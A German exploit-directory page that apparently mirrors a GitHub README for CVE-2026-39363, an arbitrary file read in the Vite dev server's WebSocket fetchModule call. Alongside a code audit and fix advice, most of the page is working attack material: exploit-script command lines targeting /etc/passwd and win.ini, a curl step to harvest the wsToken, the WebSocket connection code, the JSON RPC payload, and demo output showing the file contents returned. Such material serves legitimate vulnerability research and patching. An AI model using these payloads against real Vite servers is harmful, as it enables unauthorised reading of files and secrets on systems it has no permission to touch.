Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-39363 — Exploit für CVE-2026-39363, eine Schwachstelle zum beliebigen Dateilesen über den WebSocket des Vite Dev Servers, mit Python- und Node.js-Skripten für die automatisierte Ausnutzung sowie manuellen Schritten. | Kitploit
Tools/GitHubGitHub/firebasky/cve-2026-39363
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitPenetrationstests
GitHubfirebasky/cve-2026-39363

CVE-2026-39363

Exploit für CVE-2026-39363, eine Schwachstelle zum beliebigen Dateilesen über den WebSocket des Vite Dev Servers, mit Python- und Node.js-Skripten für die automatisierte Ausnutzung sowie manuellen Schritten.

Repository anzeigen
7vor 4 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-39363

Vite Dev Server WebSocket Arbitrary File Read Schwachstelle

Schwachstellenübersicht

EigenschaftInformation
CVE IDCVE-2026-39363
GHSA IDGHSA-p9ff-h696-f583
SchwachstellentypArbitrary File Read (Beliebiges Dateilesen)
Betroffene KomponenteVite Dev Server
Betroffene VersionenVite < 6.2.3, < 6.1.2, < 6.0.12, < 5.4.15, < 4.5.10
CVSS-ScoreHigh
Behobene VersionVite >= 6.2.3

Schwachstellenprinzip

Kernproblem

Der WebSocket-fetchModule-RPC-Aufruf des Vite Dev Servers weist eine Umgehung der Sicherheitsprüfung auf.

Code-Audit

Schwachstellencode-Stelle: vite/dist/node/chunks/dep-B0fRCRkQ.js:52065-52070

root@kitploit:~
async function fetchModule(environment, url, importer, options = {}) {
  // ...
  const isFileUrl = url.startsWith("file://");

  // Kritischer Schwachstellenpunkt: Wenn die URL file:// ist oder kein importer vorhanden ist
  // wird resolveId direkt aufgerufen, ohne die isFileServingAllowed-Prüfung durchzuführen!
  if (isFileUrl || !importer) {
    const resolved = await environment.pluginContainer.resolveId(url);
    if (!resolved) {
      throw new Error(`[vite] cannot find entry point module '${url}'.`);
    }
    url = normalizeResolvedIdToUrl(environment, url, resolved);
  }
  // ...Verarbeitung fortsetzen und Dateiinhalt zurückgeben
}

Vergleich der Anfragepfade

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                    HTTP-Anfragepfad (mit Sicherheitsprüfung)     │
├─────────────────────────────────────────────────────────────────┤
│  HTTP GET /@fs/C:/secret.txt                                    │
│         │                                                       │
│         ▼                                                       │
│  ensureServingAccess()                                          │
│         │                                                       │
│         ▼                                                       │
│  isFileServingAllowed()                                         │
│         │                                                       │
│         ▼                                                       │
│  isFileLoadingAllowed() ────> BLOCKIERT                         │
│  (prüft server.fs.allow)                                        │
└─────────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────────┐
│                  WebSocket-Anfragepfad (Prüfung umgangen)        │
├─────────────────────────────────────────────────────────────────┤
│  WebSocket: fetchModule("file://C:/secret.txt")                 │
│         │                                                       │
│         ▼                                                       │
│  fetchModule()                                                  │
│  (isFileUrl || !importer) ───> direkt resolveId                 │
│         │                                                       │
│         ▼                                                       │
│  loadAndTransform()                                             │
│  isFileLoadingAllowed() ────> hängt von der fs.allow-Konfiguration ab │
│         │                                                       │
│         ▼                                                       │
│  Dateiinhalt erfolgreich zurückgegeben (wenn fs.allow es erlaubt)│
└─────────────────────────────────────────────────────────────────┘

Wichtige Erkenntnisse

  1. HTTP-Pfad: Durchläuft mehrere Prüfungen über ensureServingAccess → isFileServingAllowed → isFileLoadingAllowed

  2. WebSocket-Pfad:

    • Die Funktion fetchModule ruft isFileServingAllowed nicht auf
    • Die zweite Verteidigungslinie isFileLoadingAllowed in loadAndTransform bleibt aktiv
    • Wenn die server.fs.allow-Konfiguration jedoch zu locker ist, können beliebige Dateien gelesen werden

Ausnutzungsbedingungen

  1. Vite Dev Server ist im Netzwerk exponiert (z. B. mit --host)
  2. Locker konfiguriertes server.fs.allow:
    • fs.allow: ['..'] - Übergeordnete Verzeichnisse können gelesen werden
    • fs.allow: ['C:/'] - Das gesamte Laufwerk C kann gelesen werden
    • fs.strict: false - Vollständig ohne Einschränkungen
  3. wsToken kann abgerufen werden (über Zugriff auf /@vite/client)

Umgebungseinrichtung

root@kitploit:~
# Repository klonen
git clone [email protected]:Firebasky/CVE-2026-39363.git
cd CVE-2026-39363

# Abhängigkeiten installieren
npm install

# Vite Dev Server starten (mit lockerer Konfiguration zur Schwachstellendemonstration)
npm run dev

Schwachstellenausnutzung

Methode 1: Python-Skript verwenden

root@kitploit:~
# Grundlegende Verwendung (Port automatisch erkennen)
python exp.py -t localhost -p 5173 -f "C:/Windows/win.ini"

# Datei außerhalb des Projekts lesen
python exp.py -t localhost -p 5173 -f "E:/secret.txt"

# Token angeben
python exp.py -t localhost -p 5173 -f "/etc/passwd" --token "your_token"

Methode 2: Node.js POC verwenden

root@kitploit:~
# wsToken abrufen
curl -s "http://localhost:5173/@vite/client" | grep -o 'wsToken = "[^"]*"'

# POC ausführen
node poc.js localhost 5173 "C:/Windows/win.ini" "your_token"

Manuelle Ausnutzungsschritte

  1. WebSocket-Token abrufen:
root@kitploit:~
curl -s "http://target:5173/@vite/client" | grep wsToken
  1. WebSocket-Verbindung herstellen:
root@kitploit:~
const ws = new WebSocket('ws://target:5173?token=TOKEN', 'vite-hmr');
  1. Payload senden:
root@kitploit:~
{
  "type": "custom",
  "event": "vite:invoke",
  "data": {
    "id": "invoke_0",
    "name": "fetchModule",
    "data": ["file:///C:/Windows/win.ini"]
  }
}

Demo-Effekt

root@kitploit:~
============================================================
CVE-2026-39363 POC - Vite WebSocket Arbitrary File Read
============================================================
Target: ws://localhost:5173?token=6zKw8sjZ5KKF
File to read: C:/Windows/win.ini

[*] WebSocket connected successfully
[+] Server confirmed WebSocket connection
[*] Sending RPC: fetchModule(["file://C:/Windows/win.ini"])

============================================================
[+] SUCCESS! Arbitrary file read achieved!
============================================================
File path: C:/Windows/win.ini
------------------------------------------------------------
[+] File content:
------------------------------------------------------------
; for 16-bit app support
[fonts]
[extensions]
[mci extensions]
[files]
[Mail]
MAPI=1

============================================================

Dateistruktur

root@kitploit:~
CVE-2026-39363/
├── README.md           # Schwachstellenanalyse-Dokument
├── exp.py              # Python-Exploit-Skript
├── poc.js              # Node.js POC
├── vite.config.js      # Vite-Konfigurationsdatei (für Demo)
├── package.json        # Projektkonfiguration
├── src/                # Quellcode-Verzeichnis
│   ├── main.js
│   ├── counter.js
│   └── style.css
├── public/             # Statische Ressourcen
└── index.html          # Einstiegs-HTML

Behebungsempfehlungen

1. Vite aktualisieren

root@kitploit:~
npm update vite
# oder
npm install vite@latest

2. server.fs.allow einschränken

root@kitploit:~
// vite.config.js
export default defineConfig({
  server: {
    fs: {
      strict: true,
      allow: ['.']  // Nur das Projektstammverzeichnis erlauben
    }
  }
})

3. Dev Server nicht exponieren

  • Dev Server in der Produktion nicht ausführen
  • Verwendung von --host zur Exponierung vermeiden
  • Zugriff mit Firewall einschränken

Referenzen

  • GHSA-p9ff-h696-f583
  • CVE-2026-39363
  • Vite Documentation

Haftungsausschluss

Dieses Projekt dient ausschließlich Sicherheitsforschungs- und Bildungszwecken. Verwenden Sie diesen Exploit-Code nicht für illegale Aktivitäten. Stellen Sie vor dem Testen mit diesem Code sicher, dass Sie die ausdrückliche Genehmigung des Eigentümers des Zielsystems erhalten haben.

License

MIT License

Tool herunterladen